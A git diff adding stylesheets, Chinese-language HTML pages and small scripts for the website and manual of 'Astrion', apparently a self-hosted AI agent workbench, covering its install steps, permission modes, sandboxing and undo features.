--code-bg: #262119; + --code-text: #f2ede2; + --ok: #4a8f5d; + --warn: #b8862e; + --untested: #b04a3c; + --side-w: 264px; + --page-w: 700px; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +html { scroll-behavior: smooth; } + +body { + font-family: -apple-system, BlinkMacSystemFont, "PingFang SC", "Noto Sans SC", sans-serif; + background: var(--bg); + color: var(--text); + font-size: 15px; + line-height: 1.9; + -webkit-font-smoothing: antialiased; +} + +code { + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 0.88em; + background: rgba(26, 24, 21, 0.05); + padding: 0.15em 0.45em; + border-radius: 5px; +} + +a { color: var(--accent); text-decoration: none; } +a:hover { text-decoration: underline; } + +/* ═══════ 左栏 ═══════ */ + +.side { + position: fixed; + inset: 0 auto 0 0; + width: var(--side-w); + border-right: 1px solid var(--border); + padding: 36px 28px; + display: flex; + flex-direction: column; + background: var(--bg); + z-index: 40; +} + +.side-brand { display: flex; align-items: center; gap: 12px; color: var(--text); margin-bottom: 18px; } +.side-brand:hover { text-decoration: none; } +.side-avatar { width: 30px; height: 30px; display: block; } +.side-name { font-size: 16px; font-weight: 650; letter-spacing: 0.01em; } + +.side-intro { + font-size: 13px; + line-height: 1.75; + color: var(--text-2); + margin-bottom: 36px; + padding-bottom: 28px; + border-bottom: 1px solid var(--border); +} + +.toc { display: flex; flex-direction: column; gap: 2px; } + +.toc-item { + font-size: 13.5px; + color: var(--text-2); + padding: 7px 10px; + border-radius: 7px; + transition: background 0.12s ease, color 0.12s ease; +} + +.toc-item:hover { background: var(--surface); color: var(--text); text-decoration: none; } + +.toc-item.current { + color: var(--text); + background: var(--surface); + box-shadow: inset 2px 0 0 var(--accent); +} + +.side-gh { + margin-top: auto; + font-size: 13px; + color: var(--text-2); +} + +.side-gh:hover { color: var(--text); text-decoration: none; } + +/* ═══════ 正文 ═══════ */ + +.page { + margin-left: var(--side-w); + padding: 56px 48px 0; +} + +.page > * { max-width: var(--page-w); } + +.chapter { margin-bottom: 88px; scroll-margin-top: 40px; } + +.chapter h1, .chapter h2 { + font-size: 24px; + font-weight: 650; + letter-spacing: 0.01em; + margin-bottom: 16px; + display: flex; + align-items: baseline; + gap: 14px; +} + +.ch-no { + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 12px; + font-weight: 400; + letter-spacing: 0.1em; + color: var(--text-2); +} + +.chapter h3 { + font-size: 15.5px; + font-weight: 600; + margin: 28px 0 8px; +} + +.lead { font-size: 15.5px; color: var(--text-2); margin-bottom: 20px; } + +.chapter p { color: var(--text-2); margin-bottom: 14px; } +.chapter p strong { color: var(--text); } + +.fine { font-size: 13px; opacity: 0.85; } + +/* 命令块 */ +.cmd-block { + position: relative; + margin: 14px 0 18px; + border-radius: 10px; + background: var(--code-bg); +} + +.cmd-block pre { + padding: 18px 20px; + overflow-x: auto; + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 12.8px; + line-height: 1.9; + color: var(--code-text); +} + +.cmd-block pre code { background: transparent; padding: 0; font-size: inherit; color: inherit; } + +/* 复制按钮:固定尺寸,只换图标 */ +.copy-btn { + position: absolute; + top: 10px; + right: 10px; + width: 30px; + height: 30px; + border: none; + border-radius: 8px; + background: rgba(255, 255, 255, 0.08); + color: rgba(242, 237, 226, 0.6); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: background 0.15s ease, color 0.15s ease; +} + +.copy-btn:hover { background: rgba(255, 255, 255, 0.14); color: var(--code-text); } + +.copy-btn svg { + width: 14px; + height: 14px; + fill: none; + stroke: currentColor; + stroke-width: 1.8; + stroke-linecap: round; + stroke-linejoin: round; +} + +.copy-btn .icon-check { display: none; } +.copy-btn.copied { color: #8fce9e; } +.copy-btn.copied .icon-copy { display: none; } +.copy-btn.copied .icon-check { display: block; } + +/* 规格表 */ +.spec-table { + border: 1px solid var(--border); + border-radius: 10px; + overflow: hidden; + margin: 16px 0 20px; +} + +.spec-table table { width: 100%; border-collapse: collapse; font-size: 13.5px; } + +.spec-table th { + text-align: left; + font-weight: 500; + font-size: 12px; + color: var(--text-2); + padding: 10px 16px; + background: var(--surface); + border-bottom: 1px solid var(--border); +} + +.spec-table td { padding: 11px 16px; border-bottom: 1px solid var(--border); color: var(--text-2); vertical-align: top; } +.spec-table tr:last-child td { border-bottom: none; } +.spec-table td:first-child { color: var(--text); font-weight: 500; white-space: nowrap; } +.spec-table td:nth-child(2) { font-family: ui-monospace, "SF Mono", Menlo, monospace; font-size: 12px; white-space: nowrap; } + +.dot { + display: inline-block; + width: 7px; + height: 7px; + border-radius: 50%; + margin-right: 8px; + vertical-align: 1px; +} + +.dot.ok { background: var(--ok); } +.dot.warn { background: var(--warn); } +.dot.untested { background: var(--untested); } + +/* 事实列表 */ +.facts { list-style: none; margin: 8px 0; } + +.facts li { + padding: 10px 0 10px 18px; + position: relative; + font-size: 14.5px; + color: var(--text-2); +} + +.facts li::before { + content: ""; + position: absolute; + left: 0; + top: 20px; + width: 6px; + height: 6px; + border-radius: 50%; + background: var(--border); +} + +.facts li + li { border-top: 1px solid var(--border); } +.facts strong { color: var(--text); font-weight: 600; } + +/* 章节清单 */ +.chapter-list { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 0 32px; + border-top: 1px solid var(--border); + margin-top: 8px; +} + +.chapter-list span { + display: flex; + align-items: baseline; + gap: 14px; + padding: 11px 0; + font-size: 14px; + border-bottom: 1px solid var(--border); +} + +.chapter-list em { + font-style: normal; + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 11px; + color: var(--text-2); +} + +/* 页脚 */ +.foot { + padding: 32px 0 48px; + border-top: 1px solid var(--border); + font-size: 13px; + color: var(--text-2); +} + +/* ═══════ 窄屏 ═══════ */ + +@media (max-width: 860px) { + .side { + position: static; + width: auto; + border-right: none; + border-bottom: 1px solid var(--border); + padding: 24px 20px; + } + + .side-intro { margin-bottom: 20px; padding-bottom: 18px; } + .toc { flex-direction: row; flex-wrap: wrap; } + .side-gh { margin-top: 18px; } + + .page { margin-left: 0; padding: 36px 20px 0; } + .chapter-list { grid-template-columns: 1fr; } +} diff --git a/website-design/site-manual/index.html b/website-design/site-manual/index.html new file mode 100644 index 00000000..27f354a9 --- /dev/null +++ b/website-design/site-manual/index.html @@ -0,0 +1,143 @@ + + + + + + Astrion 手册 + + + + + + + +

      + + +
      + + +
      +

      §1快速上手

      +

      三分钟,从克隆到对话。环境要求:Python 3.10+、Node.js 18+;docker 模式另需 Docker。

      + +

      host 模式

      +

      本地个人智能体:数据落在本机 ~/.astrion,命令跑在宿主机 OS 沙箱内。

      +
      + +
      git clone https://github.com/JOJO6618/astrion.git
      +cd astrion
      +./setup.sh        # 向导:运行模式选 host → 端口 → 管理员 → 模型
      +npm install && npm run build
      +./start.sh        # → http://localhost:8091
      +
      + +

      docker 模式

      +

      线上多人服务(README 中称 web 模式):应用本体仍在宿主机,Docker 为每个用户提供独立的命令沙箱容器。邀请码注册制。

      +
      + +
      # 步骤 1-3 与 host 相同,向导中运行模式选 web
      +# 额外一步:构建沙箱镜像
      +docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .
      +./start.sh
      +
      +

      镜像名由 TERMINAL_SANDBOX_IMAGE 指定;容器名前缀由 TERMINAL_SANDBOX_NAME_PREFIX 指定。

      +
      + + +
      +

      §2核心概念

      +

      行为边界由四组正交开关定义,一眼可见、一点即切。唯一例外:计划模式会把权限与执行环境锁定为「只读 + 沙箱」。

      +
      + + + + + + + + +
      维度可选值含义
      部署模式host / docker命令跑在宿主机,还是每个用户的独立容器
      权限模式只读 / 批准 / 自动审核 / 无限制写操作落盘前要经过谁
      执行环境沙箱 / 直连命令是否约束在 OS 沙箱内
      运行模式计划 / 询问 / 执行AI 与你的交互节奏
      +
      +
      + + +
      +

      §3安全

      +

      命令隔离强度取决于平台,如实列出;资产保护有三层,与平台无关。

      +
      + + + + + + + +
      平台沙箱实现水位
      WindowsWSL2完全数据隔离,需先安装 WSL2
      macOSsandbox-exec限写入;全局可读,防不住泄露
      Linuxbwrap + seccomp未实测,别依赖
      +
      +
        +
      • 版本控制——每条你发出的消息打一个检查点,随时回溯;浅备份只追踪 write_file / edit_file 编辑过的文件。
      • +
      • 修改留痕——每次编辑落盘一份标准 diff,git apply 重做,git apply -R 撤销。
      • +
      • Git 状态栏——仓库状态实时可见。
      • +
      +
      + + +
      +

      §4能力

      +
        +
      • 多智能体团队——Team Leader 带领 5 个预置角色(全栈 / 评审 / 调研 / UI 操作 / 头脑风暴)分工协作,可自建角色。
      • +
      • 快捷窗口——对话区右侧五看板:待办、子智能体、后台命令、文件记录、工作流。
      • +
      • 工作流与技能包——流程沉淀为工作流,经验沉淀为 Skill;内置 4 个工作流、12 个技能包。
      • +
      • 目标模式(Beta)——给出长期目标,自动逐轮推进,审核智能体把关,触顶或达成才停。
      • +
      • MCP 扩展——接入任意 MCP 工具服务;host 模式下说一句「帮我配置 xxx」即可装好。
      • +
      • 实时终端——对话里直接跑命令。这是效率设计,不是安全边界。
      • +
      +
      + + +
      +

      §5文档章节

      +
      + 01快速上手 + 02核心概念 + 03对话 + 04输入与上下文 + 05执行与安全 + 06对话资产管理 + 07智能体能力 + 08快捷窗口 + 09个人空间设置 + 10CLI(开发中) +
      +
      + +
      +

      © 2026 Astrion · 开源 · GitHub · 星之子,星际粒子。

      +
      +
      + + + + + diff --git a/website-design/site-manual/js/main.js b/website-design/site-manual/js/main.js new file mode 100644 index 00000000..00c3a7da --- /dev/null +++ b/website-design/site-manual/js/main.js @@ -0,0 +1,55 @@ +/* Astrion 官网 C —— 交互(形象 / scrollspy / 复制) */ + +(function () { + 'use strict'; + + AstrionAvatar.mount(document.getElementById('sideAvatar'), { mode: 'idle', blink: true, track: true }); + + /* scrollspy:目录高亮当前章节 */ + var links = Array.prototype.slice.call(document.querySelectorAll('.toc-item')); + var chapters = links + .map(function (a) { return document.querySelector(a.getAttribute('href')); }) + .filter(Boolean); + + var spy = new IntersectionObserver(function (entries) { + entries.forEach(function (e) { + if (!e.isIntersecting) return; + links.forEach(function (a) { + a.classList.toggle('current', a.getAttribute('href') === '#' + e.target.id); + }); + }); + }, { rootMargin: '-20% 0px -65% 0px' }); + + chapters.forEach(function (c) { spy.observe(c); }); + + /* 复制按钮:固定尺寸,只换图标 */ + document.querySelectorAll('[data-copy]').forEach(function (btn) { + var timer = null; + btn.addEventListener('click', function () { + var block = btn.parentElement.querySelector('pre code'); + var text = block ? block.textContent : ''; + function mark() { + btn.classList.add('copied'); + clearTimeout(timer); + timer = setTimeout(function () { btn.classList.remove('copied'); }, 1600); + } + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(text).then(mark, function () { fallback(text); mark(); }); + } else { + fallback(text); + mark(); + } + }); + }); + + function fallback(text) { + var ta = document.createElement('textarea'); + ta.value = text; + ta.style.position = 'fixed'; + ta.style.opacity = '0'; + document.body.appendChild(ta); + ta.select(); + try { document.execCommand('copy'); } catch (e) {} + document.body.removeChild(ta); + } +})(); diff --git a/website-design/site-timeline/css/style.css b/website-design/site-timeline/css/style.css new file mode 100644 index 00000000..f62d2cdd --- /dev/null +++ b/website-design/site-timeline/css/style.css @@ -0,0 +1,346 @@ +/* ═══════════════════════════════════════════ + Astrion 官网 B —— 一次请求的一生(深色流程叙事) + 配色取自产品 dark 主题;无粒子、无光晕、无装饰线。 + ═══════════════════════════════════════════ */ + +:root { + --bg: #14161b; + --surface: #1b1e24; + --text: #e8e6e1; + --text-2: #9a968e; + --border: #2b2e36; + --accent: #cc785c; + --code-bg: #0f1114; + --ok: #6fae7f; + --warn: #c99a4b; + --untested: #c06a5c; + --content-w: 720px; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +html { scroll-behavior: smooth; } + +body { + font-family: -apple-system, BlinkMacSystemFont, "PingFang SC", "Noto Sans SC", sans-serif; + background: var(--bg); + color: var(--text); + font-size: 15.5px; + line-height: 1.85; + -webkit-font-smoothing: antialiased; +} + +code { + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 0.88em; + background: rgba(232, 230, 225, 0.08); + padding: 0.15em 0.45em; + border-radius: 5px; +} + +a { color: var(--accent); text-decoration: none; } +a:hover { text-decoration: underline; } + +.reveal { opacity: 0; transform: translateY(14px); transition: opacity 0.55s ease, transform 0.55s ease; } +.reveal.in { opacity: 1; transform: none; } +@media (prefers-reduced-motion: reduce) { + .reveal { opacity: 1; transform: none; transition: none; } +} + +/* ═══════ 顶栏 ═══════ */ + +.topbar { + position: sticky; + top: 0; + z-index: 40; + display: flex; + align-items: center; + justify-content: space-between; + padding: 14px 32px; + background: var(--bg); + border-bottom: 1px solid var(--border); +} + +.brand { display: flex; align-items: center; gap: 10px; color: var(--text); } +.brand:hover { text-decoration: none; } +.brand-avatar { width: 26px; height: 26px; display: block; } +.brand-name { font-size: 15px; font-weight: 600; letter-spacing: 0.01em; } + +.toplink { font-size: 13.5px; color: var(--text-2); } +.toplink:hover { color: var(--text); text-decoration: none; } + +/* ═══════ Hero ═══════ */ + +.hero { + max-width: var(--content-w); + margin: 0 auto; + padding: 96px 32px 72px; +} + +.kicker { + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 12px; + letter-spacing: 0.14em; + color: var(--text-2); + margin-bottom: 26px; +} + +.hero h1 { + font-size: 40px; + font-weight: 650; + line-height: 1.32; + letter-spacing: 0.01em; + margin-bottom: 20px; +} + +.hero-sub { font-size: 16px; color: var(--text-2); margin-bottom: 44px; } + +/* 生命周期链条:静态、承载信息,不是装饰 */ +.lifecycle { + display: flex; + align-items: center; + flex-wrap: wrap; + gap: 10px; + margin-bottom: 56px; +} + +.lc-node { + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 12.5px; + color: var(--text); + border: 1px solid var(--border); + background: var(--surface); + border-radius: 8px; + padding: 7px 13px; + white-space: nowrap; +} + +.lc-arrow { font-style: normal; color: var(--text-2); opacity: 0.6; } + +/* 产品截图 */ +.shot { + border: 1px solid var(--border); + border-radius: 12px; + overflow: hidden; + background: var(--surface); +} + +.shot-bar { + display: flex; + align-items: center; + gap: 6px; + padding: 9px 14px; + border-bottom: 1px solid var(--border); +} + +.shot-bar i { width: 9px; height: 9px; border-radius: 50%; background: var(--border); } +.shot-bar i:first-child { background: #8a5550; } + +.shot-bar span { + margin-left: 8px; + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 11.5px; + color: var(--text-2); +} + +.shot img { display: block; width: 100%; } + +/* ═══════ 时间轴 ═══════ */ + +.timeline { + max-width: var(--content-w); + margin: 0 auto; + padding: 24px 32px 0; + list-style: none; + position: relative; +} + +/* 竖线:贯穿全程的流程轴 */ +.timeline::before { + content: ""; + position: absolute; + left: calc(32px + 6px); + top: 40px; + bottom: 40px; + width: 1px; + background: var(--border); +} + +.station { + position: relative; + padding: 26px 0 26px 44px; +} + +/* 轴上节点:圆点 */ +.station::before { + content: ""; + position: absolute; + left: 0; + top: 36px; + width: 13px; + height: 13px; + border-radius: 50%; + background: var(--bg); + border: 2px solid var(--border); + transition: border-color 0.4s ease; +} + +.station.in::before { border-color: var(--accent); } + +.st-no { + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 11.5px; + letter-spacing: 0.12em; + color: var(--text-2); + display: block; + margin-bottom: 8px; +} + +.station h2 { + font-size: 22px; + font-weight: 600; + letter-spacing: 0.01em; + margin-bottom: 10px; +} + +.station p { color: var(--text-2); font-size: 15px; max-width: 62ch; } +.station p strong { color: var(--text); font-weight: 600; } +.station p code { font-size: 12.5px; } + +.st-note { + margin-top: 12px; + font-size: 13.5px; + opacity: 0.85; +} + +/* 小表格 */ +.mini-table { + margin-top: 16px; + border: 1px solid var(--border); + border-radius: 10px; + overflow: hidden; + background: var(--surface); + max-width: 560px; +} + +.mini-table table { width: 100%; border-collapse: collapse; font-size: 13.5px; } + +.mini-table th { + text-align: left; + font-weight: 500; + font-size: 12px; + color: var(--text-2); + padding: 10px 16px; + border-bottom: 1px solid var(--border); +} + +.mini-table td { padding: 10px 16px; border-bottom: 1px solid var(--border); color: var(--text-2); } +.mini-table tr:last-child td { border-bottom: none; } +.mini-table td:first-child { color: var(--text); font-weight: 500; white-space: nowrap; } +.mini-table td:nth-child(2) { font-family: ui-monospace, "SF Mono", Menlo, monospace; font-size: 12px; } + +.dot { + display: inline-block; + width: 7px; + height: 7px; + border-radius: 50%; + margin-right: 8px; + vertical-align: 1px; +} + +.dot.ok { background: var(--ok); } +.dot.warn { background: var(--warn); } +.dot.untested { background: var(--untested); } + +/* ═══════ 安装 ═══════ */ + +.getstart { + max-width: var(--content-w); + margin: 0 auto; + padding: 80px 32px 40px; +} + +.getstart h2 { font-size: 26px; font-weight: 650; margin-bottom: 10px; } +.gs-env { font-size: 13px; color: var(--text-2); margin-bottom: 24px; } + +.cmd-block { + position: relative; + background: var(--code-bg); + border: 1px solid var(--border); + border-radius: 12px; +} + +.cmd-block pre { + padding: 20px 22px; + overflow-x: auto; + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 13px; + line-height: 1.9; + color: var(--text); +} + +.cmd-block pre code { background: transparent; padding: 0; font-size: inherit; color: inherit; } + +/* 复制按钮:固定尺寸,只换图标 */ +.copy-btn { + position: absolute; + top: 10px; + right: 10px; + width: 30px; + height: 30px; + border: 1px solid var(--border); + border-radius: 8px; + background: var(--surface); + color: var(--text-2); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: color 0.15s ease, border-color 0.15s ease; +} + +.copy-btn:hover { color: var(--text); border-color: var(--text-2); } + +.copy-btn svg { + width: 14px; + height: 14px; + fill: none; + stroke: currentColor; + stroke-width: 1.8; + stroke-linecap: round; + stroke-linejoin: round; +} + +.copy-btn .icon-check { display: none; } +.copy-btn.copied { color: var(--ok); border-color: var(--ok); } +.copy-btn.copied .icon-copy { display: none; } +.copy-btn.copied .icon-check { display: block; } + +.gs-note { margin-top: 16px; font-size: 13.5px; color: var(--text-2); max-width: 62ch; } +.gs-note code { font-size: 12px; } + +/* ═══════ 页脚 ═══════ */ + +.foot { + max-width: var(--content-w); + margin: 0 auto; + padding: 64px 32px 48px; + border-top: 1px solid var(--border); + margin-top: 40px; + font-size: 13px; + color: var(--text-2); +} + +.foot-note { margin-top: 4px; font-size: 12.5px; opacity: 0.7; } + +/* ═══════ 窄屏 ═══════ */ + +@media (max-width: 720px) { + .topbar { padding: 12px 20px; } + .hero { padding: 64px 20px 48px; } + .hero h1 { font-size: 28px; } + .timeline { padding: 16px 20px 0; } + .timeline::before { left: calc(20px + 6px); } + .station { padding-left: 36px; } + .getstart, .foot { padding-left: 20px; padding-right: 20px; } +} diff --git a/website-design/site-timeline/index.html b/website-design/site-timeline/index.html new file mode 100644 index 00000000..76069144 --- /dev/null +++ b/website-design/site-timeline/index.html @@ -0,0 +1,135 @@ + + + + + + Astrion —— 一句话进来,结果出去 + + + + + + +
      + + + Astrion + + GitHub ↗ +
      + + +
      +

      开源 · 自托管 · 数据不出本机

      +

      一句话进来,结果出去。
      中间每一步,你都看得见。

      +

      Astrion 是住在你机器上的智能体工作台:普通对话、多智能体团队、工作流与技能包。

      + +
      + 你的消息 + 模型思考 + 工具调用 + 沙箱执行 + 留痕落盘 + 回复你 +
      + +
      +
      localhost:8091 · 夜间主题
      + Astrion 主界面(夜间主题) +
      +
      + + +
        + +
      1. + 01 +

        你说了一句话

        +

        / 唤起指令菜单,@ 引用文件,图片直接贴进输入框。上下文压缩建议开深度——浅压缩会破坏前缀缓存,自定义阈值建议不低于模型可用上下文的 80%。

        +
      2. + +
      3. + 02 +

        它先想,再动手

        +

        运行模式三档:计划——只出方案与你讨论,批准后转入执行;询问——先讨论后开工;执行——自主开工,只在硬阻塞时提问。思考模式可随时切换。

        +
      4. + +
      5. + 03 +

        写操作要过闸

        +

        权限四档,写操作在获批前不会落盘:

        +
        + + + + + + + +
        只读AI 只能读,写操作被系统拒绝
        批准每次写入先弹给你,逐次点头
        自动审核写入由审核智能体把关,拒绝会附理由
        无限制不做权限拦截
        +
        +
      6. + +
      7. + 04 +

        命令在笼子里跑

        +

        执行环境二选一:沙箱,或直连宿主机。沙箱强度取决于平台,如实列出:

        +
        + + + + + + + +
        平台实现水位
        WindowsWSL2完全数据隔离
        macOSsandbox-exec限写入;全局可读,防不住泄露
        Linuxbwrap+seccomp未实测,别依赖
        +
        +

        沙箱管命令,不管聊天——对话内容本来就要发给模型服务商,密钥别贴进对话。

        +
      8. + +
      9. + 05 +

        每个改动可撤销

        +

        三层资产安全网,与平台无关:版本控制按你的每条消息打检查点(浅备份只追踪 write_file / edit_file 编辑过的文件);修改留痕把每次编辑落盘成标准 diff,git apply 重做、git apply -R 撤销;Git 状态栏让仓库状态实时可见。

        +
      10. + +
      11. + 06 +

        一个人不够,就一队

        +

        子智能体后台并行跑独立任务。多智能体模式下,Team Leader 带领预置的 5 个角色——全栈工程师、代码评审、调研员、UI 操作、头脑风暴——分工协作、互相请教,每一步都向你汇报。角色可以自己写。

        +
      12. + +
      13. + 07 +

        结果回到你手里

        +

        对话区右侧的五个快捷窗口:待办、子智能体、后台命令、文件记录、工作流。产物在哪、进展到哪、怎么终止,抬手就够到。

        +
      14. +
      + + +
      +

      让它住进你的机器

      +

      Python 3.10+ · Node.js 18+ · docker 模式另需 Docker

      +
      + +
      git clone https://github.com/JOJO6618/astrion.git
      +cd astrion
      +./setup.sh        # 向导:运行模式 → 端口 → 管理员 → 模型
      +npm install && npm run build
      +./start.sh        # → http://localhost:8091
      +
      +

      docker 模式(README 中的 web 模式)在此基础上多一步:docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .——应用本体仍跑在宿主机,Docker 提供的是每个用户独立的命令沙箱。

      +
      + +
      +

      © 2026 Astrion · 开源 · GitHub

      +

      星之子,星际粒子。

      +
      + + + + + diff --git a/website-design/site-timeline/js/main.js b/website-design/site-timeline/js/main.js new file mode 100644 index 00000000..5135da15 --- /dev/null +++ b/website-design/site-timeline/js/main.js @@ -0,0 +1,48 @@ +/* Astrion 官网 B —— 交互(形象 / 淡入 / 复制) */ + +(function () { + 'use strict'; + + AstrionAvatar.mount(document.getElementById('topAvatar'), { mode: 'idle', blink: true, track: true }); + + var io = new IntersectionObserver(function (entries) { + entries.forEach(function (e) { + if (e.isIntersecting) { + e.target.classList.add('in'); + io.unobserve(e.target); + } + }); + }, { threshold: 0.12 }); + document.querySelectorAll('.reveal').forEach(function (el) { io.observe(el); }); + + /* 复制按钮:固定尺寸,只换图标 */ + document.querySelectorAll('[data-copy]').forEach(function (btn) { + var timer = null; + btn.addEventListener('click', function () { + var block = btn.parentElement.querySelector('pre code'); + var text = block ? block.textContent : ''; + function mark() { + btn.classList.add('copied'); + clearTimeout(timer); + timer = setTimeout(function () { btn.classList.remove('copied'); }, 1600); + } + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(text).then(mark, function () { fallback(text); mark(); }); + } else { + fallback(text); + mark(); + } + }); + }); + + function fallback(text) { + var ta = document.createElement('textarea'); + ta.value = text; + ta.style.position = 'fixed'; + ta.style.opacity = '0'; + document.body.appendChild(ta); + ta.select(); + try { document.execCommand('copy'); } catch (e) {} + document.body.removeChild(ta); + } +})(); diff --git a/website-design/site/css/style.css b/website-design/site/css/style.css new file mode 100644 index 00000000..b6130372 --- /dev/null +++ b/website-design/site/css/style.css @@ -0,0 +1,650 @@ +/* ═══════════════════════════════════════════ + Astrion 官网 —— 界面即官网 + 配色取自产品 classic 主题;无装饰性 gimmick。 + ═══════════════════════════════════════════ */ + +:root { + --bg: #faf9f5; + --surface: #ffffff; + --bubble: #f0ebdf; + --text: #211d16; + --text-2: #6e675a; + --border: #e6dfd0; + --accent: #cc785c; + --code-bg: #262119; + --code-text: #f2ede2; + --ok: #4a8f5d; + --warn: #b8862e; + --untested: #b04a3c; + --rail-w: 60px; + --thread-w: 760px; + --composer-h: 108px; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +html { scroll-behavior: smooth; } + +body { + font-family: -apple-system, BlinkMacSystemFont, "PingFang SC", "Noto Sans SC", "Microsoft YaHei", sans-serif; + background: var(--bg); + color: var(--text); + font-size: 15.5px; + line-height: 1.85; + -webkit-font-smoothing: antialiased; +} + +::selection { background: rgba(204, 120, 92, 0.22); } + +code { + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 0.88em; + background: rgba(33, 29, 22, 0.06); + padding: 0.15em 0.45em; + border-radius: 5px; +} + +a { color: var(--accent); text-decoration: none; } +a:hover { text-decoration: underline; } + +/* ═══════ 左侧导航栏 ═══════ */ + +.rail { + position: fixed; + inset: 0 auto 0 0; + width: var(--rail-w); + background: var(--bg); + border-right: 1px solid var(--border); + display: flex; + flex-direction: column; + align-items: center; + padding: 14px 0; + gap: 4px; + z-index: 50; +} + +.rail-item { + position: relative; + width: 40px; + height: 40px; + display: flex; + align-items: center; + justify-content: center; + border-radius: 10px; + color: var(--text-2); + transition: background 0.15s ease, color 0.15s ease; +} + +.rail-item:hover { background: var(--bubble); color: var(--text); text-decoration: none; } + +.rail-item svg { + width: 19px; + height: 19px; + fill: none; + stroke: currentColor; + stroke-width: 1.6; + stroke-linecap: round; + stroke-linejoin: round; +} + +.rail-logo { margin-bottom: 12px; } +.rail-avatar { width: 26px; height: 26px; display: block; color: var(--text); } + +.rail-spacer { flex: 1; } + +.rail-tip { + position: absolute; + left: calc(100% + 10px); + top: 50%; + transform: translateY(-50%) translateX(-4px); + background: var(--text); + color: var(--bg); + font-size: 12px; + line-height: 1; + padding: 7px 10px; + border-radius: 7px; + white-space: nowrap; + opacity: 0; + pointer-events: none; + transition: opacity 0.15s ease, transform 0.15s ease; +} + +.rail-item:hover .rail-tip { opacity: 1; transform: translateY(-50%) translateX(0); } + +/* ═══════ 对话流主区 ═══════ */ + +.thread { + margin-left: var(--rail-w); + padding: 0 32px; +} + +.thread > * { max-width: var(--thread-w); margin-left: auto; margin-right: auto; } + +/* 滚动淡入 */ +.reveal { opacity: 0; transform: translateY(14px); transition: opacity 0.55s ease, transform 0.55s ease; } +.reveal.in { opacity: 1; transform: none; } +@media (prefers-reduced-motion: reduce) { + .reveal { opacity: 1; transform: none; transition: none; } +} + +/* ═══════ 开场(新对话引导页同构) ═══════ */ + +.opening { + min-height: 78vh; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + text-align: center; + padding: 64px 0 48px; +} + +.opening-avatar { width: 132px; height: 132px; margin-bottom: 36px; } + +.opening-line { + font-size: 34px; + font-weight: 600; + letter-spacing: 0.01em; + margin-bottom: 14px; +} + +.opening-sub { + font-size: 17px; + color: var(--text-2); + margin-bottom: 28px; +} + +.opening-forms { display: flex; gap: 10px; } + +.opening-forms span { + font-size: 12.5px; + color: var(--text-2); + border: 1px solid var(--border); + border-radius: 999px; + padding: 5px 14px; + background: var(--surface); +} + +.opening-forms em { font-style: normal; color: var(--accent); margin-left: 2px; } + +/* clone 命令行:安静、等宽、可复制 */ +.opening-clone { + margin-top: 22px; + display: inline-flex; + align-items: center; + gap: 12px; + background: var(--surface); + border: 1px solid var(--border); + border-radius: 10px; + padding: 9px 10px 9px 16px; +} + +.opening-clone code { + background: transparent; + padding: 0; + font-size: 12.8px; + color: var(--text-2); +} + +/* 复制按钮:固定尺寸,点击只换图标,绝不变宽 */ +.copy-btn { + flex-shrink: 0; + width: 28px; + height: 28px; + border: none; + border-radius: 7px; + background: transparent; + color: var(--text-2); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: background 0.15s ease, color 0.15s ease; +} + +.copy-btn:hover { background: var(--bubble); color: var(--text); } + +.copy-btn svg { + width: 14px; + height: 14px; + fill: none; + stroke: currentColor; + stroke-width: 1.8; + stroke-linecap: round; + stroke-linejoin: round; +} + +.copy-btn .icon-check { display: none; } +.copy-btn.copied { color: var(--ok); } +.copy-btn.copied .icon-copy { display: none; } +.copy-btn.copied .icon-check { display: block; } + +/* ═══════ 消息 ═══════ */ + +.msg { display: flex; margin-bottom: 36px; } + +.msg.user { justify-content: flex-end; margin-top: 72px; } + +.bubble { + background: var(--bubble); + border-radius: 16px 16px 5px 16px; + padding: 11px 18px; + font-size: 15.5px; + max-width: 72%; +} + +.msg.ai { align-items: flex-start; } + +.msg-avatar { + flex-shrink: 0; + width: 28px; + height: 28px; + margin: 6px 16px 0 0; + color: var(--text); +} + +.msg-body { flex: 1; min-width: 0; } +.msg-body > p + p { margin-top: 14px; } +.msg-body > p + .shot, +.msg-body > p + .switchboard, +.msg-body > p + .table-wrap, +.msg-body > p + .plain-list, +.msg-body > p + .cap-list, +.msg-body > p + .install, +.msg-body > p + .doc-list { margin-top: 20px; } + +.note { font-size: 13.5px; color: var(--text-2); margin-top: 16px; } + +/* 产品截图框 */ +.shot { + border: 1px solid var(--border); + border-radius: 12px; + overflow: hidden; + background: var(--surface); + box-shadow: 0 2px 14px rgba(33, 29, 22, 0.05); + margin: 20px 0 4px; +} + +.shot-bar { + display: flex; + align-items: center; + gap: 6px; + padding: 9px 14px; + border-bottom: 1px solid var(--border); + background: var(--bg); +} + +.shot-bar i { width: 9px; height: 9px; border-radius: 50%; background: var(--border); } +.shot-bar i:first-child { background: #e5a19a; } + +.shot-bar span { + margin-left: 8px; + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 11.5px; + color: var(--text-2); +} + +.shot img { display: block; width: 100%; } + +.shot-placeholder { + min-height: 160px; + display: flex; + align-items: center; + justify-content: center; + border-style: dashed; + box-shadow: none; + background: transparent; +} + +.shot-placeholder span { font-size: 13px; color: var(--text-2); } 